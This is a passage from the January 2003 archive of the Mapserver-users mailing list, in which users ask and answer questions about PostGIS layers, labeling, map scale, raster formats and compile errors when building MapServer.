Date: Thu, 16 Jan 2003 08:30:13 +1030
Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused
In-Reply-To: <3E24EC3D.9A831C78@dmsolutions.ca>
Message-ID: <000a01c2bce1$7bccad70$0100a8c0@mapping12>
Thanks for your comments Daniel. I just have a few more questions from
what you wrote.
>>Unless I'm mistaken, the $layer->addFeature() method doesn't even
apply
>>to shapefiles. It is only there to create inline features in a layer
>>(in memory).
So when a feature is added this way, can it be labeled as well as used
to select features in another layer (PostGIS layer)?
>>And once again, for databases like PostGIS I think doing direct SQL
>>calls to add or update feature should be the preferred approach.
What else do you recommend?
As has been pointed out, the editing functions of MapServer don't
support PostGIS layers, but are there any other methods that don't
support PostGIS layers. ie Any of the queryByxxxxxx functions?
Thanks,
Benjamin Wragg
-----Original Message-----
From: Daniel Morissette [mailto:morissette at dmsolutions.ca]
Sent: Wednesday, 15 January 2003 3:36 PM
To: Paul Ramsey
Cc: bwragg at tpg.com.au; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] Adding Features to PostGIS Layer -
Confused
Paul Ramsey wrote:
>
> Yes, quite a ways off track... the writable aspects of
> Mapserver/Mapscript layers all adhere to Shape file data sources only.
> This is a legacy issue from back when that was the only data source,
and
> therefor the only one worthy of enhancement :)
>
Unless I'm mistaken, the $layer->addFeature() method doesn't even apply
to shapefiles. It is only there to create inline features in a layer
(in memory).
To write to a shapefile you have to use the shapefileObj class.
> HOWEVER: you can add features to a PostGIS data source via the back
> door. Use a direct pgsql connection within PHP to connect to the
PostGIS
> database, and run a SQL 'insert' command on the table to add your new
> feature.
>
I think this should remain the preferred way to add features to a RDBMS
layer anyway. Doing it via MapServer is just going to add overhead and
restrict your ability to take full advantage of the features of the
layer format (PostGIS in this case).
> DEVELOPERS: should the layer concepts be extended to allow all layer
> types to be read/writable via the same scripting mechanisms?
>
As mentioned above the layerObj are read-only and making them support
write access may not be the best thing to do.
Instead we could consider creating a clone of the shapefileObj that
would use OGR at the lower level (or extending shapefileObj to support
OGR formats). Since OGR already supports most formats that MapServer
does (including PostGIS), that would keep things much simpler: only one
interface to maintain instead of having to extend all format drivers in
MapServer and making them more complicated than they need to be.
And once again, for databases like PostGIS I think doing direct SQL
calls to add or update feature should be the preferred approach.
(Note that this is just my opinion. Other developers may have a
different opinion.)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Wed Jan 15 13:58:33 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 15 Jan 2003 15:58:33 -0600
Subject: [Mapserver-users] label prooblem
Message-ID:
What does the mapfile def for this layer look like?
>>> "Aaron D. Hunt" 01/15/03 11:39AM >>>
I am making a map of a farm with field boundaries. Can any one tell me
why mapserver is not labeling all the polygons (see attached).
I have force label to true.
Aaron D. Hunt
From steve.lime at dnr.state.mn.us Wed Jan 15 14:02:25 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 15 Jan 2003 16:02:25 -0600
Subject: [Mapserver-users] label prooblem
Message-ID:
That's not the case with mapserver though. Label points are always
guaranteed to be within the polygon even if they are concave.
>>> "Juanse" 01/15/03 01:41PM >>>
Aaron
I am not sure but it seem that the polygons not label because of their
concave/convex shape have their center outside the polygon, and
therefore mapsever must privilege the neighbouring polygons' label (at
least this will be the case in mapinfo)
Juanse
Temuko-Chile
----- Original Message -----
From: Aaron D. Hunt
To: mapserver-users at lists.gis.umn.edu
Sent: Wednesday, January 15, 2003 2:39 PM
Subject: [Mapserver-users] label prooblem
I am making a map of a farm with field boundaries. Can any one tell
me why mapserver is not labeling all the polygons (see attached).
I have force label to true.
Aaron D. Hunt
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.441 / Virus Database: 247 - Release Date: 09/01/03
From steve.lime at dnr.state.mn.us Wed Jan 15 14:04:05 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 15 Jan 2003 16:04:05 -0600
Subject: [Mapserver-users] Label Prefix in Mapfile
Message-ID:
Yes, use the TEXT option for classes. That allows you to set the text
for a given
class to a constant value OR to a value made up from various
attributes.
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Hankley, Chip" 01/15/03 01:53PM >>>
Is it possible to add CLASS specific prefixes to labels via the
mapfile?
For instance, I have a layer showing municipal boundaries; this layer
is
broken out into several classes, one for City, Town, and Village. For
my
CITY class, I would like my labels to be rendered as 'City of ' +
[MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc.
Chip Hankley
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From morissette at dmsolutions.ca Wed Jan 15 14:40:12 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 17:40:12 -0500
Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused
References: <000a01c2bce1$7bccad70$0100a8c0@mapping12>
Message-ID: <3E25E34C.C6B61228@dmsolutions.ca>
Benjamin Wragg wrote:
>
> >>Unless I'm mistaken, the $layer->addFeature() method doesn't even
> apply
> >>to shapefiles. It is only there to create inline features in a layer
> >>(in memory).
>
> So when a feature is added this way, can it be labeled as well as used
> to select features in another layer (PostGIS layer)?
>
I believe the answer is yes to both questions, but I haven't done this
myself so I could be wrong.
> >>And once again, for databases like PostGIS I think doing direct SQL
> >>calls to add or update feature should be the preferred approach.
>
> What else do you recommend?
>
> As has been pointed out, the editing functions of MapServer don't
> support PostGIS layers, but are there any other methods that don't
> support PostGIS layers. ie Any of the queryByxxxxxx functions?
>
The queryByXxxx() functions do work with PostGIS layers and all other
data sources AFAIK. And actually most of what you find in the layerObj
(if not everything) works for all data sources.
Editing shapefiles is done via a completely independent class, the
shapefileObj. This class bypasses MapServer layerObj methods and works
directly with the low-level shapelib functions.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From dana at nextbus.com Wed Jan 15 17:48:54 2003
From: dana at nextbus.com (Dana Quinn)
Date: Wed, 15 Jan 2003 17:48:54 -0800
Subject: [Mapserver-users] mapfile mapscale strangeness
Message-ID: <3E260F86.3010006@nextbus.com>
I'm seeing a strange problem with application of the MINSCALE and
MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl
mapscript. I'm am working on getting an existing application that
works under an old version of the mapserver working on this new
version, on a new machine.
So this is my new problem - I have layers that are only supposed to
turn on at a 'larger scale' - more zoomed in - things like street
names and secondary streets and stuff like that, that were turning
on when my scale was much smaller. I'd have something like
MAXSCALE 40000 in the layer, but when I'd create a map that is
zoomed out far enough that I could see complete states, I would
still have the MAXSCALE 40000 layers displayed.
So after some testing and lots of debug print statements, I
found that mapscript, as I compiled it, thinks the SCALE is
usually somewhere between 1 and 5. I adjusted some of my MAXSCALE
lines to these sorts of values, and things work the way I expect
them to.
So to summarize - I would expect the scale of the maps I create to
be in ranges like 10000-25000, 250000 and so on, but they seem to
be smaller numbers like 0.5, 3, so on. Has anyone else seen
something like this? Did I blow some configuration option?
dana
--
Dana Quinn, dana at nextbus.com
NextBus Information Systems
(510) 420-3117
From brclark at usgs.gov Wed Jan 15 18:17:58 2003
From: brclark at usgs.gov (Brian Clark)
Date: Wed, 15 Jan 2003 20:17:58 -0600
Subject: [Mapserver-users] wms client
Message-ID: <3E261656.4070203@usgs.gov>
Hey Mapservers,
We've built and installed libwww 5.4.0. However, configure returns:
"libwww version 5.3.2 or more recent is required"
Tried it with: --with-wmsclient=/usr/local/lib, and no errors on
configure or make,
but also no wmsclient support.
OS is Solaris 2.6.
Ideas?
AdTHANKSvance
--
****************************************************************
Brian R. Clark, Hydrologist Email: brclark at usgs.gov
U.S. Geological Survey, WRD Phone: (501)228-3655
Arkansas District Fax: (501)228-3601
401 Hardin Road
Little Rock, Arkansas 72211
****************************************************************
From fmaa1 at yahoo.com Thu Jan 16 00:04:56 2003
From: fmaa1 at yahoo.com (Fayyaz Ayoub)
Date: Thu, 16 Jan 2003 00:04:56 -0800 (PST)
Subject: [Mapserver-users] (no subject)
Message-ID: <20030116080456.82264.qmail@web11705.mail.yahoo.com>
Hi there,
I have been trying to compile Mapserver with sde
supprt.Have followed all the right steps on ly that in
make it gives me the following error message:
gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL
-DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS -DUSE_TIFF
-DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP
-DUSE_GD_FT -DUSE_SDE -I/usr/local/gd-a/include
-I/usr/local/proj4/include
-I/usr/local/jpeg6b/include
-I/usr/local/sdeexe81/include shp2img.o -L.
-lmap -L/usr/local/gd-a/lib -lgd
-L/usr/local/jpeg6b/lib -ljpeg -lfreetype -lpng -lz
-ltiff -L/usr/local/jpeg6b/lib -ljpeg -lfreetype -lpng
-lz -L/usr/local/proj4/lib -lproj
-L/usr/local/jpeg6b/lib -ljpeg
-L/usr/local/sdeexe81/lib -lsde81 -lpe81 -lsg81
-lpthread -ldl -lm -o shp2img
/usr/local/sdeexe81/lib/libsde81.so: the use of
`tempnam' is dangerous, better use `mkstemp'
./libmap.a(mapogr.o)(.eh_frame+0x11): undefined
reference to `__gxx_personality_v0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
Can someone please hep me to sort this problem out.The
machine is running on Red Hat 8.0 & kernel version is
2.4.20.
Thanks
Techie.
__________________________________________________
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com
From patruno at istat.it Thu Jan 16 02:30:02 2003
From: patruno at istat.it (patruno)
Date: Thu, 16 Jan 2003 10:30:02 -0000
Subject: [Mapserver-users] Maplab beginner problem
Message-ID: <023e01c2bd4a$3af99560$492d120a@istat.it>
Hi anyone!
Probably my problem is stupid, but I cannot sleep because of it!!
I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install
Arcview.
The problem is when I ask for the preview of my mapfile. (I use Maplab)
In fact, the map is completely blank (or empty?). I've tried to change the coordinate according to the coordinate of the upper left corner and
bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing.
Any suggestion?
Thanks in advance
V
From mschulz at webgis.de Thu Jan 16 01:56:27 2003
From: mschulz at webgis.de (Michael Schulz)
Date: Thu, 16 Jan 2003 10:56:27 +0100
Subject: [Mapserver-users] mapserver form submit problem with gecko?
Message-ID: <3E2681CB.B1C18257@webgis.de>
Dear list,
i know that this may not be the appropriate forum, but the problem is
related to mapserver:
I have a mapserver html interface with some javascript additions. The
main html-form of this interface has an onSubmit handler, that does some
stuff prior to submitting the form. This works perfectly for IE and
Netsape 4x. But with Netscape 6/7, Mozilla, ie Gecko, when using the
image to submit the form the onSubmit handler seems to "forget" to
submit the pixel-coordinate values (img.x, img.y) of the clicked map.
Has anybody experienced a similar behaviour and found a solution?
I've a put two simple html-pages to test the problem on our website, if
you have a minute drop by and test it with NS 6/7 or Mozilla and NS 4x
or IE:
1) form with onSubmit:
http://www.zopecms.de/zopecms/WebGIS/mapserver/test.html
2) form without onSubmit :
http://www.zopecms.de/zopecms/WebGIS/mapserver/test_wo.html
Thanks, Michael
--
-----------------------------------------------------------
Michael Schulz in medias res
Dipl.-Geologe Gesellschaft f?r
Informationstechnologie mbH
Sautierstr. 38, 79104 Freiburg
0761 55695-95 (Fax 96)
mschulz at webgis.de www.webgis.de
From philipp.jacob at geosysnet.de Thu Jan 16 03:50:39 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Thu, 16 Jan 2003 12:50:39 +0100
Subject: [Mapserver-users] Couldn't find gdal-config
References: <200301040923.2789@th00.opsion.fr>
Message-ID: <3E269C8F.4050006@geosysnet.de>
Hi all,
I'm trying to configure mapserver3.6.4 with the '--with-gdal' option.
I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/
I tried it with:
'--with-gdal'
'--with-gdal=/usr/local/bin/gdal-config'
'--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config'
But always the same problem, the configure script is unable to find
gdal-config.
Any ideas?
Thanks in advance.
Philipp
From mcilhagga at dmsolutions.ca Thu Jan 16 04:01:28 2003
From: mcilhagga at dmsolutions.ca (Dave McIlhagga)
Date: Thu, 16 Jan 2003 07:01:28 -0500
Subject: [Mapserver-users] Maplab beginner problem
References: <023e01c2bd4a$3af99560$492d120a@istat.it>
Message-ID: <3E269F18.3080507@dmsolutions.ca>
Please use the MapLab mailing list for MapLab related questions. I'll
forward this message separately. For more information on MapLab and
mailing list, please see:
http://www.dmsolutions.ca/techserv/maplab.html
and
http://www2.dmsolutions.ca/webtools/maplab/index.html
Thanks,
Dave
patruno wrote:
> Hi anyone!
>
> Probably my problem is stupid, but I cannot sleep because of it!!
>
> I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install
> Arcview.
> The problem is when I ask for the preview of my mapfile. (I use Maplab)
> In fact, the map is completely blank (or empty?). I've tried to change the coordinate according to the coordinate of the upper left corner and
> bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing.
>
> Any suggestion?
>
> Thanks in advance
>
> V
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From Mark.Balman at birdlife.org.uk Thu Jan 16 04:20:21 2003
From: Mark.Balman at birdlife.org.uk (Mark Balman)
Date: Thu, 16 Jan 2003 12:20:21 -0000
Subject: [Mapserver-users] Query not working in mapserver3.7
Message-ID:
Hi All
I have just installed mapserver 3.7 (Win98, Apache, PHP4.2.3) and have a
problem running an app that worked ok with mapserver 3.6.2. When I try and
run the app (select a value from a drop down list) I get
msQueryByAttributes(): Query error. No query expression defined. Has anyone
else had this problem? I am mising something new from my .map file? Any
assistance would be greatly appreciated!
Mark
From shpr at libero.it Thu Jan 16 04:31:39 2003
From: shpr at libero.it (Stefano Bonnin)
Date: Thu, 16 Jan 2003 13:31:39 +0100
Subject: [Mapserver-users] problem with gdal
Message-ID: <002a01c2bd5b$37e7b1c0$0601a8c0@comai.loc>
hi, I have compiled mapserver with gdal-1.1.8
and all the "point object" in my point layer are "black"!
In the map file I have a layer class like this:
CLASS
NAME "Ultrasonico"
EXPRESSION 'Ultrasonico'
SYMBOL "circle"
COLOR 0 255 0 ###### This is not black!!!!
SIZE 15
TEMPLATE "blank.html"
LABEL
FONT "arial"
TYPE TRUETYPE
POSITION lc
MINSIZE 10
MAXSIZE 25
COLOR 100 0 45
BACKGROUNDSHADOWCOLOR 128 128 128
ANTIALIAS true
END
END
and all the points are rendered as black point.
Mapserver configure options:
./configure --with-proj=../proj-4.4.5/ --with-php=../php-4.2.2/ --with-post
gis=/usr/local/pgsql/bin/pg_config
--with-freetype=../freetype-2.0.5
--without-tiff --with-gdal=../gdal-1.1.8/apps/gdal-config
Why? Any idea?
Thanks.
Stefano B.
---
Outgoing mail is certified Virus Free. (FLASHH!)
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/03
From mccrone at pc.jaring.my Thu Jan 16 06:34:01 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Thu, 16 Jan 2003 22:34:01 +0800
Subject: [Mapserver-users] Testsuite - itemquery with Rosa
Message-ID: <037701c2bd6c$50d15950$f79f063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0374_01C2BDAF.5DF26B90
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery zoom in problem. I added the =
following to the=20
main page index.html -=20
=20
It still cannot get two images on my template page.
Has anybody implemented this query zoom in fucntion from within the =
template page
and with rosa applet involved?
Thanks,
Steve
------=_NextPart_000_0374_01C2BDAF.5DF26B90
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery =
zoom in=20
problem. I added the following to the
It still cannot get two images on my =
template=20
page.
Has anybody implemented this query zoom =
in fucntion=20
from within the template page
and with rosa applet =
involved?
Thanks,
Steve
------=_NextPart_000_0374_01C2BDAF.5DF26B90--
From pkishor at geoanalytics.com Thu Jan 16 07:07:47 2003
From: pkishor at geoanalytics.com (pkishor_98 )
Date: Thu, 16 Jan 2003 15:07:47 -0000
Subject: [Mapserver-users] PHP 4.3.0
Message-ID:
I am getting a bunch of errors compiling ms3.6.4 (all related to
php_mapscript.so), and before I get any further, I would like to find
out if the current PHP/Mapscript module work with PHP 4.3.0. Does it?
additionally, could it be possible to list the requirements right next
to the download link (kinda a like so -- from the downloads page) --
Official Release
MapServer 3.6.4 (1/08/03) is the current stable and documented
version. The distribution is comprised of a single gzipped tar file
that also includes MapScript and PHP/MapScript.
(link to mapserver-3.6.4.tar.gz)
(link to what's new in this release aka version history)
(system requirements --
- gd version
- perl version
- php version
- gcc/cc version,
- etc.
)
Much gratitude in advance,
Puneet.
From collao_andres at hotmail.com Thu Jan 16 07:23:35 2003
From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=)
Date: Thu, 16 Jan 2003 15:23:35 +0000
Subject: [Mapserver-users] (no subject)
Message-ID:
I am intentanado to show one of my maps with Mapserver, but this it appears
in target, I believe that it is a EXTENT problem. that it makes this
instruction?
Atte.
---------------
Andr?s Collao.
---------------
Icq # 36107225
collao_andres at hotmail.com
acollao at inf.utfsm.cl
"El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona".
:-- Il peggior nemico del succeso ? la pauta del fallimiento
:-- El peor enemigo del ?xito es el miedo al fracaso
_________________________________________________________________
MSN. M?s ?til Cada D?a http://www.msn.es/intmap/
From dlowther at ou.edu Thu Jan 16 07:29:46 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Thu, 16 Jan 2003 09:29:46 -0600
Subject: [Mapserver-users] Raster support - JPG problem
Message-ID:
Have you guys considered ECW instead of JPEG?
-----Original Message-----
From: Lowell Filak [mailto:lfilak at medinaco.org]
Sent: Wednesday, January 15, 2003 3:57 PM
To: Hankley, Chip; 'Zatorsky.MichaelP at police.qld.gov.au';
mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Raster support - JPG problem
I would have to agree with Chip's performance findings.
We originally received all our orthophotography in TIFF format and planned
on converting the images to JPEG to enable us to load the dataset on smaller
machines.
However the performance hit was major in every application (Mapserver,
Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed
before the software could determine which pixels of the image needed
rendered.
You can save space by flattening the source images to 8-bit WITH space
reserved for 256 colors (some applications flatten to 8-bit but reserve
space for 1000+ colors and that doesn't save any space).
If truly needed you can always save space by resampling the data to a larger
pixel size, ie. 1' -> 2'.
Lowell F.
The following message was sent by "Hankley, Chip"
on Wed, 15 Jan 2003 12:46:00 -0600.
> Michael,
>
> As Norman and Daniel pointed out, there are known issues with JPEG and
> MapServer.
>
> That said, I had a similar problem some months back trying to serve up
JPEG
> images to MapServer. I did some experimenting and was finally able to get
a
> JPEG image to come up in MS (sorry, I can't remember exactly what I did),
> but the performance was terrible.
>
> My assumption is that MapServer has to somehow uncompress the JPEG images
> before rendering them as part of the final image, and that this was the
> cause of the performance hit (if I simply swapped the data source to a
TIF,
> there was no performance problem). I have no idea if my assessment of how
> the mechanics of JPEG rendering is correct... but in the end, I concluded
> that the trade-off for space savings with JPEG didn't make up for the
> performance hit I was taking.
>
> ...just my experience.
>
> Chip
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From collao_andres at hotmail.com Thu Jan 16 07:50:26 2003
From: collao_andres at hotmail.com (=?iso-8859-1?B?QW5kculzIENvbGxhbw==?=)
Date: Thu, 16 Jan 2003 15:50:26 +0000
Subject: [Mapserver-users] i don't see map
Message-ID:
I am creating my first map with mapserver, but this it appears in target. I
imagine that it must to intrucci?n EXTENT, but do not know that it makes
this instruction, somebody can explain it to me?
Atte.
---------------
Andr?s Collao.
---------------
Icq # 36107225
collao_andres at hotmail.com
acollao at inf.utfsm.cl
"El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona".
:-- Il peggior nemico del succeso ? la pauta del fallimiento
:-- El peor enemigo del ?xito es el miedo al fracaso
>From: mapserver-users-request at lists.gis.umn.edu
>Reply-To: mapserver-users at lists.gis.umn.edu
>To: mapserver-users at lists.gis.umn.edu
>Subject: Mapserver-users digest, Vol 1 #44 - 38 msgs
>Date: Wed, 15 Jan 2003 12:00:02 -0600
>
>Send Mapserver-users mailing list submissions to
> mapserver-users at lists.gis.umn.edu
>
>To subscribe or unsubscribe via the World Wide Web, visit
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>or, via email, send a message with subject or body 'help' to
> mapserver-users-request at lists.gis.umn.edu
>
>You can reach the person managing the list at
> mapserver-users-admin at lists.gis.umn.edu
>
>When replying, please edit your Subject line so it is more specific
>than "Re: Contents of Mapserver-users digest..."
>
>Today's Topics:
>
> 1. Re: Mapserver-users digest, Vol 1 #43 - 19 msgs (Auto Reply.) (Dale
>Ott)
> 2. RE: Can't limit the zoom in/out (YC Nyon)
> 3. RE: Projections (John McCue)
> 4. Definition Projections, raw proj parameters vs EPSG code
>(Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
> 5. Adding Features to PostGIS Layer - Confused (Benjamin Wragg)
> 6. Re: Adding Features to PostGIS Layer - Confused (Paul Ramsey)
> 7. Raster support - JPG problem (Zatorsky.MichaelP at police.qld.gov.au)
> 8. Buffering problems (Lyndon Zimmermann)
> 9. Re: Raster support - JPG problem (Norman Vine)
> 10. Testsuite - itemquery problems (Steve McCrone)
> 11. Re: Buffering problems (Daniel Morissette)
> 12. Re: Raster support - JPG problem (Daniel Morissette)
> 13. Re: Adding Features to PostGIS Layer - Confused (Daniel Morissette)
> 14. Re: Definition Projections, raw proj parameters vs
> EPSG code (Daniel Morissette)
> 15. Re: ogr and MapInfo (Daniel Morissette)
> 16. Re: Working with TrueType Fonts (Daniel Morissette)
> 17. Re: TrueType Font and Label Angle (Daniel Morissette)
> 18. Projection to Albers (Lyndon Zimmermann)
> 19. Re: Projection to Albers (Paul Ramsey)
> 20. Re: Projection to Albers (Frank Warmerdam)
> 21. HTML-Legends ??? (Mike Elstermann)
> 22. How to use annotation layer (John Doe)
> 23. Re: How to use annotation layer (Prashanth Ram)
> 24. Maximum Extent (Stefan Schwarzer)
> 25. Mathematical model applied at ANGLE AUTO (Calin D. NITU)
> 26. cant c top layer (nida Khan)
> 27. (no subject) (=?iso-8859-1?Q?leo.olivieri at libero.it?=)
> 28. Re: HTML-Legends ??? (Daniel Morissette)
> 29. Re: unable to load dynamic library (frauke.trurnit at gmx.de)
> 30. problems with WMS and Cached Query (Pascual Ayats, Victor)
> 31. Re: Mathematical model applied at ANGLE
> AUTO (Steve Lime)
> 32. label prooblem (Aaron D. Hunt)
> 33. Adding php_mapscript (Beth Baily)
> 34. PostGIS / Shapefile Performance Question (Lowther, David W)
> 35. Re: [maplab-users] Restricted number of class per layer ? (Paul
>Spencer)
> 36. RE: PostGIS / Shapefile Performance Question (John Deck)
><< message5.txt >>
><< message7.txt >>
><< message9.txt >>
><< message11.txt >>
><< message13.txt >>
><< message15.txt >>
><< message18.txt >>
><< message20.txt >>
><< message22.txt >>
><< message24.txt >>
><< message26.txt >>
><< message29.txt >>
><< message32.txt >>
><< message35.txt >>
><< message38.txt >>
><< message41.txt >>
><< message44.txt >>
><< message47.txt >>
><< message49.txt >>
><< message52.txt >>
><< message55.txt >>
><< message59.txt >>
><< message61.txt >>
><< message63.txt >>
><< message67.txt >>
><< message74.txt >>
><< message78.txt >>
><< message80.txt >>
><< message83.txt >>
><< message87.txt >>
><< message89.txt >>
><< message91.txt >>
><< message97.txt >>
><< message99.txt >>
><< message101.txt >>
><< message104.txt >>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
_________________________________________________________________
MSN. M?s ?til Cada D?a http://www.msn.es/intmap/
From stepan.kafka at centrum.cz Thu Jan 16 09:33:36 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Thu, 16 Jan 2003 18:33:36 +0100
Subject: [Mapserver-users] Compilation mapserver on win32 - regex
In-Reply-To:
Message-ID: <000501c2bd85$66894f50$7e3c2fc3@HSGIS>
Hi all,
I am trying to compile mapserver on win2000 (mapserv 3.6.3 or devel.
version, GD-1.8.4, freetype-1.3.1, gdal, proj, regex-0.12) and I get this
error:
Creating library mapserv.lib and object mapserv.exp
mapserver.lib(regex.obj) : error LNK2001: unresolved external symbol
_printchar
mapserv.exe : fatal error LNK1120: 1 unresolved externals
NMAKE : fatal error U1077: 'link' : return code '0x460'
In the regex.c I found this declaration:
extern void printchar();
but nowhere the definition.
What I need?
Any idea?
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
From DOtt at PALATINE.IL.US Thu Jan 16 10:02:53 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Thu, 16 Jan 2003 12:02:53 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #45 - 40 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From jmccue at geovue.com Thu Jan 16 10:09:24 2003
From: jmccue at geovue.com (John McCue)
Date: Thu, 16 Jan 2003 13:09:24 -0500
Subject: [Mapserver-users] Compilation mapserver on win32 - regex
In-Reply-To: <000501c2bd85$66894f50$7e3c2fc3@HSGIS>
Message-ID:
Stepan,
Did you define HAVE_STRING_H and REGEX_MALLOC? I think that will help.
John
From stepan.kafka at centrum.cz Thu Jan 16 10:26:43 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Thu, 16 Jan 2003 19:26:43 +0100
Subject: [Mapserver-users] Compilation mapserver on win32 - regex
In-Reply-To:
Message-ID: <000601c2bd8c$d1e62ff0$7e3c2fc3@HSGIS>
John,
I had these option defined in the makefile. So the error is somewhere else
:(
Stepan Kafka
> -----P?vodn? zpr?va-----
> Od: John McCue [mailto:jmccue at geovue.com]
> Odesl?no: 16. ledna 2003 19:09
> Komu: Mapserver-Users; Stepan Kafka
> P?edm?t: RE: [Mapserver-users] Compilation mapserver on win32 - regex
>
>
> Stepan,
> Did you define HAVE_STRING_H and REGEX_MALLOC? I think that will help.
>
> John
>
>
From lfilak at medinaco.org Thu Jan 16 10:30:27 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Thu, 16 Jan 2003 13:30:27 -0500
Subject: [Mapserver-users] Raster support - JPG problem
Message-ID: <200301161827.h0GIRAR12448@yogi.medinaco.net>
Yes.
The format is reported readable & writeable via GDAL but the quality of the images (color) that I have seen once reduced to fit 8-bit were no good compared to the original tiffs.
That was prior to 24-bit color support in MS.
Lowell F.
The following message was sent by "Lowther, David W" on Thu, 16 Jan 2003 09:29:46 -0600.
> Have you guys considered ECW instead of JPEG?
>
> -----Original Message-----
> From: Lowell Filak [mailto:lfilak at medinaco.org]
> Sent: Wednesday, January 15, 2003 3:57 PM
> To: Hankley, Chip; 'Zatorsky.MichaelP at police.qld.gov.au';
> mapserver-users at lists.gis.umn.edu
> Subject: RE: [Mapserver-users] Raster support - JPG problem
>
>
> I would have to agree with Chip's performance findings.
> We originally received all our orthophotography in TIFF format and planned
> on converting the images to JPEG to enable us to load the dataset on smaller
> machines.
> However the performance hit was major in every application (Mapserver,
> Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed
> before the software could determine which pixels of the image needed
> rendered.
> You can save space by flattening the source images to 8-bit WITH space
> reserved for 256 colors (some applications flatten to 8-bit but reserve
> space for 1000+ colors and that doesn't save any space).
> If truly needed you can always save space by resampling the data to a larger
> pixel size, ie. 1' -> 2'.
> Lowell F.
>
> The following message was sent by "Hankley, Chip"
> on Wed, 15 Jan 2003 12:46:00 -0600.
>
> > Michael,
> >
> > As Norman and Daniel pointed out, there are known issues with JPEG and
> > MapServer.
> >
> > That said, I had a similar problem some months back trying to serve up
> JPEG
> > images to MapServer. I did some experimenting and was finally able to get
> a
> > JPEG image to come up in MS (sorry, I can't remember exactly what I did),
> > but the performance was terrible.
> >
> > My assumption is that MapServer has to somehow uncompress the JPEG images
> > before rendering them as part of the final image, and that this was the
> > cause of the performance hit (if I simply swapped the data source to a
> TIF,
> > there was no performance problem). I have no idea if my assessment of how
> > the mechanics of JPEG rendering is correct... but in the end, I concluded
> > that the trade-off for space savings with JPEG didn't make up for the
> > performance hit I was taking.
> >
> > ...just my experience.
> >
> > Chip
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From rgrant at nrcan.gc.ca Thu Jan 16 11:55:09 2003
From: rgrant at nrcan.gc.ca (Grant, Ryan)
